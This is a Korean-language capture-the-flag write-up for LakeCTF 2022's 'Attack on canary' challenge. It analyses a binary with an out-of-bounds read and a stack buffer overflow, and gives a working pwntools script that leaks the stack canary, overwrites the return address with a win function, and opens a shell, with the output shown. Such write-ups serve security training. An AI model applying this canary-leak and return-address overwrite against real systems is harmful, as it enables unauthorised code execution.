LakeCTF 2022 - Attack on canary (canary)

분석 환경: Windows 11, Ubuntu 20.04
사용자 제공 파일: 바이너리, 도커파일

Analysis

보호 기법

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

취약점

문제 제목에 나와있듯이 바이너리에 Canary가 있고 익스하는 데에 이것과 밀접하게 관련있을 것이다.

볼만한 함수는 딱 하나 있다. vulnerable()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
while ( 1 )
{
while ( 1 )
{
fflush(stdin);
printf("Your command: ");
__isoc99_scanf(" %d", &v1);
if ( v1 )
break;
printf("Tell me which slot you wanna read: ");
__isoc99_scanf("%d", &v1);
write(1, &buf[8 * v1], 8uLL); // 기능 1: canary leak
}
if ( v1 != 1 )
break;
printf("Tell me how much you wanna write: ");
__isoc99_scanf("%d", &v1);
printf("What are the contents (max 8 bytes): ");
read(0, buf, v1); // 기능 2: bof
puts("Good");
}

기능 1) 원하는 주소를 8바이트 읽을 수 있음 -> canary leak
기능 2) 원하는 사이즈만큼 쓰기 가능함 -> bof로 인한 rip 변경 가능

마침 win 함수가 존재하니 이 쪽으로 흐름을 돌리면 될 듯

Exploit

원하는 주소를 읽을 수 있고 원하는 사이즈 만큼 쓰는 건 정말 강력한 것 같다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

#context.log_level = 'debug'

#p = process('./exe')
p = remote('chall.polygl0ts.ch', 6100)
e = ELF('./exe')

win = e.symbols['win']

p.sendlineafter('Your command: ', str(0))
p.sendlineafter('you wanna read: ', str(11))

canary = u64(p.recv(8)[:8])
log.info('canary :: ' + hex(canary))

p.sendlineafter('Your command: ', str(1))
pause()
p.sendlineafter('you wanna write: ', str(1000))

payload = ''
payload += 'A' * 88
payload += p64(canary)
payload += 'B' * 8
payload += p64(win)

pause()
p.sendlineafter(')', payload)

p.interactive()

Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] canary :: 0x53eaf0ab9b66a00
[*] Switching to interactive mode
: Good
Your command: $
$ id
/bin/sh: 1: d: not found
$ id
uid=1000(jail) gid=1000(jail) groups=1000(jail)
$ ls
flag
run
$ cat flag
EPFL{this_is_clearly_a_fake_flag}